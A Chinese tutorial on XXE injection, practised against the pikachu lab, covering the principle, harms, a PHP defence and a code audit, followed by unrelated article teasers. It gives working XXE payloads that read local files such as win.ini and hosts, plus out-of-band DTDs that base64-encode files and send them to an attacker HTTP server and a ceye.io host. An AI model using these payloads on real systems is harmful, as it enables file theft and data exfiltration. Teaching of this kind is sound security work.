Web安全之XXE漏洞原理及实践学习

一、原理:

XXE漏洞全称即XML外部实体注入漏洞。
攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件),导致可加载恶意外部文件,利用file协议造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

一句话概括:用户传入的XML被解析成实体执行

二、危害:

1.导致可以加载恶意外部文件
2.造成文件读取
3.内网端口扫描
4.攻击内网网站
5.发起dos攻击等危害

三、防御:

过滤用户提交的XML数据。
如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,起到防御的目的。

二、基本利用(pikachu):

将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。

有回显::::

1、检测XML是否会被解析

image.png

<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE note [<!ENTITY hack "test">
]><name>&hack;</name>

页面若输出了test,说明xml文件可以被解析

2、通过外部实体(file协议)读取文件

XML内容被解析后,使用,文件内容便通过被存放在了XXE元素中,造成了敏感信息的泄露,在服务端开启了DTD外部引用且没有对DTD对象进行过滤的情况下, 可以利用DTD引用系统关键文件:
image.png

<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE note [<!ENTITY hack SYSTEM "file:///windows/win.ini">
]><name>&hack;</name>

外部实体引用 Payload,访问服务器上的hosts文件
image.png

<?xml version="1.0"?>
<!DOCTYPE ANY[ 
<!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">
]>
<x>&f;</x>

无回显::::

服务器日志回显

通过服务器请求包的信息来查看并读取文件。
win7靶场机IP:192.168.200.34,
KALI充当攻击机IP:192.168.200.14

在KALI上用python开启http服务,输入命令

python3 -m http.server 80

image.png
然后在kali中新建一个xxe.dtd文件

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///C:/m.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.200.14?c=%file;'>">

image.png

在靶机c盘下创建一个m.txt(也可以读取其他敏感文件,进行验证)
image.png
payload

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.200.14/xxe.dtd">
%remote;%int;%send;
]>

前台页面执行完是不回显
image.png

回到KALI开启得http服务器终端上,能提交数据的请求包信息

xxe.txt里面的内容被警告base64加密后所外带显示出来了c=d2VsY29tZQ==

image.png

补充:
我这里一开始将创建得xxe.dtd文件放在了桌面上,因为这个权限是很低得,KALI应该自带什么防御机制,所以文件始终无法读取,出现404得报错信息,直到将文件放在root目录下便解决

3、利用CEYE.IO平台

(1)利用公网服务器,查看日志记录
(2)利用DNSLOG,查看访问记录
(3)利用CEYE.io带出数据进行查看
通过外部实体注入test.dtd
创建test.dtd文件,将里面得个人标识符进行替换
image.png

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://ddol7e.ceye.io/?p=%file;'>">

构造得xml:
image.png

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.200.34/test.dtd">
%remote;%int;%send;%file;
]>

参考文章:https://blog.csdn.net/qq_45612828/article/details/126116429
来到后台查看HTTP请求页面,进行base64解码便可得到明文
image.png
另一种解析得结果查看方式
image.png

四、代码审计
对源码进行分析

表明传入的XML实体,要以POST方式进行传参,并且值不得为空

另外可以看到当data变量值为真时,才会会先内容
image.png

在此处,当点击提交的时候,会输入html变量得数据,所以便将此处得php语言删除就好,就不会在前台会显出内容
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/268421.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux高级管理--安装MySQL数据库系统

MySQL服务基础 MySQL.是一个真正的多线程、多用户的SQL数据库服务&#xff0c;凭借其高性能、高可靠和易于使 用的特性&#xff0c;成为服务器领域中最受欢迎的开源数据库系统。在2008年以前&#xff0c;MySOL项目由MySQL AB公司进行开发&#xff0c;发布和支持&#xff0c;之后…

4年外包终上岸,我只能说这类公司能不去就不去......

我大学学的是计算机专业&#xff0c;毕业的时候&#xff0c;对于找工作比较迷茫&#xff0c;也不知道当时怎么想的&#xff0c;一头就扎进了一家外包公司&#xff0c;一干就是4年。现在终于跳槽到了互联网公司了&#xff0c;我想说的是&#xff0c;但凡有点机会&#xff0c;千万…

广州芳村超5亿元“金融茶”爆雷,涉案金额高达5亿元。

昌世茶是一家茶叶厂商&#xff0c;在芳村茶叶市场开展业务。他们通过多位销售人员宣传其茶叶具有巨大的投资价值&#xff0c;并承诺高价回收。投资者被诱以高价购买茶叶&#xff0c;但随后发现价格迅速下跌&#xff0c;且昌世茶不再履行回收承诺。许多投资者因此遭受重大损失。…

靠着这份280页的前端面试指南,拿下了字节跳动offer

笔者是在今年秋招面试的头条教育线&#xff0c;顺利拿到了offer&#xff0c;把还记得的东西写下来&#xff0c;供大家参考一下。 一面 tcp 和 udp 的区别和使用场景&#xff1f;quic 基于 udp 怎么保证可靠性&#xff1f;讲一下同源策略和跨域方案&#xff1f;CORS 的几个头部…

MeterSphere实战(一)

MeterSphere是一位朋友讲到的测试平台&#xff0c;说这东西是开源的&#xff0c;因为我是做测试的&#xff0c;很乐意了解一些新鲜事物。在我看来&#xff0c;测试就是要专注一些领域&#xff0c;然后要啥都会一点点&#xff0c;接着融会贯通起来&#xff0c;这样就可以万变不离…

如何在 Git 中创建分支

1.打开命令行终端&#xff0c;执行以下命令来查看当前分支列表&#xff1a; git branch 显示当前仓库中的所有分支&#xff0c;以及当前所在的分支&#xff08;显示为带有星号 * 的分支&#xff09;。 2.创建一个新的分支&#xff0c;可以使用以下命令&#xff1a; git bran…

ABAP: POST 方式建立连接

1、采用APIpost 设置截图如下&#xff1a; ABAP建立调用设置 DATA: lr_http_client TYPE REF TO if_http_client.DATA: l_url TYPE STRING."建立服务 http客户端 CALL METHOD cl_http_client>create_by_urlEXPORTINGurl l_url "连接的地址IMPORTI…

LeetCode面向运气之Javascript—第66题-加1-99.78%

LeetCode第66题-加1 题目要求 给定一个由 整数 组成的 非空 数组所表示的非负整数&#xff0c;在该数的基础上加一。 最高位数字存放在数组的首位&#xff0c; 数组中每个元素只存储单个数字。 举例 输入&#xff1a;digits [1,2,3] 输出&#xff1a;[1,2,4] 输入&#xff…

vue3 echarts 各省地图展示

效果&#xff1a; 1.在src下新建utils文件夹添加各省地图的json文件&#xff08;下载各省地图的网址 DataV.GeoAtlas地理小工具系列&#xff09; 2.安装echarts npm install echarts 3.在项目文件中中引入json <template><div class"back"><div id…

配电站房智慧化改造

随着科技的发展和工业化自动化的不断提高&#xff0c;传统的配电室已经不能满足现代工业的需求。配电站房的智慧化改造可以提高电力系统的运行效率和安全性&#xff0c;依托电易云-智慧电力物联网实现配电房无人值守。以下是配电站房智慧化改造的一些主要方面&#xff1a; 设备…

C语言——结构体

一、结构的基础知识 结构是一些值的集合&#xff0c;这些值称为成员变量结构的&#xff0c;每个成员可以是不同类型的变量。 二、结构的声明 struct tag {member-list; }variable-list; 描述一个学生&#xff1a; typedef struct Student {char name[20]; //姓名int age; …

Symfony DomCrawler 库爬取图片实例

前言 在当今互联网时代&#xff0c;网络爬虫技术已经成为信息获取和数据分析的重要工具之一。本文将详细介绍如何利用Symfony DomCrawler库&#xff0c;结合代理设置和HTML内容解析&#xff0c;实现对搜狐网站图片的爬取&#xff0c;并展示实际代码和效果。 项目需求 本项目…